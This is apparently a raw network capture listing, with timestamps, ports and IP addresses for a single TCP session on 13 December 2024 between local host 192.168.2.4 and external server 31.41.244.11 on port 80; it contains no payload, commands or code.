Dec 13, 2024 01:51:21.604845047 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.604897976 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.604964972 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.605012894 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.606146097 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.606256962 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.606303930 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.606352091 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.606960058 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.607009888 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.607080936 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.607127905 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.608108997 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.608163118 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.608270884 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.608318090 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.609256029 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.609303951 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.609347105 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.609394073 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.610244989 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.610292912 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.610383034 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.610428095 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.611349106 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.611397982 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.611519098 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.611569881 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.612445116 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.612494946 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.612560987 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.612607956 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.613518000 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.613568068 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.613634109 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.613682032 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.614521027 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.614571095 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.614664078 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.614712954 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.615624905 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.615674019 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.615727901 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.615773916 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.616692066 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.616740942 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.616806030 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.616852999 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.617763042 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.617810965 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.617876053 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.617922068 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.618839979 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.618885994 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.618952990 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.619002104 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.619899988 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.619944096 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.620008945 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.620064020 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.621236086 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.621289015 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.621289015 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.621336937 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.622061014 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.622117043 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.757700920 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.757782936 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.757860899 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.757910013 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.758095026 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.758152008 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.758222103 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.758270979 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.759145021 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.759221077 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.759285927 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.759340048 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.760226011 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.760283947 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.760430098 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.760483027 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.761349916 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.761405945 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.761464119 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.761512995 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.762388945 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.762442112 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.762511969 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.762569904 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.763494968 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.763547897 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.763550043 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.763600111 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.764537096 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.764589071 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.764662027 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.764709949 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.765634060 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.765685081 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.765809059 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.765865088 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.766714096 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.766765118 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.766819954 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.766874075 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.767795086 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.767846107 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.767910957 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.767965078 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.768876076 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.768929958 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.768980980 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.769040108 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.769926071 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.769963980 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.770045996 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.770092010 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.771035910 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.771087885 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.771174908 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.771222115 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.772099018 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.772145033 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.772212982 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.772258043 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.773170948 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.773216009 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.773283958 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.773329020 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.774238110 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.774287939 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.774358988 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.774468899 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.775346994 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.775398016 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.775444031 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.775496960 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.776568890 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.776616096 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.776648045 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.776694059 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.777483940 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.777534008 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.777601004 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.777645111 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.778584003 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.778630018 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.778681040 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.778727055 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.779656887 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.779702902 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.779768944 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.779812098 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.780723095 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.780776024 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.780777931 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.780821085 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.781797886 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.781843901 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.781912088 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.782012939 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.782877922 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.782927036 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.782994032 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.783036947 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.783947945 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.784008980 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.784080029 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.784122944 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.785069942 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.785120964 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.785173893 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.785218000 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.786118984 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.786160946 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.786242008 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.786284924 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.787276983 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.787319899 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.787375927 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.787419081 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.788275957 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.788320065 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.788394928 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.788441896 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.789345026 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.789421082 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.789465904 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.789515018 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.790417910 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.790502071 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.790570974 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.790657997 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.791532040 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.791584969 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.791651011 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.791702032 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.792572975 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.792629004 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.792702913 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.792752028 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.793648005 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.793714046 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.793762922 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.793816090 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.794742107 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.794807911 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.794864893 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.794924974 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.795815945 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.795871019 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.795932055 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.795983076 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.796904087 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.796963930 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.797034979 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.797087908 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.797998905 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.798063993 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.798125982 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.798182964 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.799058914 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.799125910 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.799216986 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.799269915 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.800153971 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.800208092 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.800273895 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.800327063 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.801209927 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.801260948 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.801311016 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.801363945 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.802258968 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.802308083 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.802396059 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.802444935 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.803343058 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.803447962 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.803498030 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.803618908 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.804436922 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.804526091 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.804584026 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.804647923 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.805535078 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.805627108 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.805670023 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.805824995 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.806611061 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.806725025 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.806761980 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.807051897 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.807678938 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.807749987 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.807804108 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.807934999 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.808757067 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.808856010 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.808871031 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.808919907 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.809848070 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.809957981 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.809984922 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.810137033 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.810892105 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.810966969 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.811023951 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.811085939 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.811988115 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.812099934 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.812100887 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.812246084 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.813103914 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.813241005 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.813282967 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.813493013 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.814132929 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.814249039 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.949822903 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.949969053 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.950476885 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.950491905 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.950532913 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.950598955 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.951414108 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.951502085 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.951545000 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.951611042 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.952415943 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.952491045 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.952754974 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.953484058 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.953589916 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.953692913 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.954591036 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.954701900 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.954765081 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.954765081 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.955652952 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.955760956 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.955806971 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.956696987 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.956739902 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.956753969 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.957619905 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.957763910 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.957899094 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.958864927 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.958945990 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.959002972 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.959916115 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.960016012 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.960077047 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.961045980 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.961091995 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.961141109 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.962074041 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.962094069 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.962181091 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.963238955 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.963282108 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.963288069 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.964247942 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.964293003 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.964371920 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.965312958 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.965356112 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.965435028 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.965477943 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.966397047 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.966519117 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.966562033 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.967467070 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.967588902 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.967631102 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.968549013 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.968662977 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.968703985 CET	49787	80	192.168.2.4	31.41.244.11
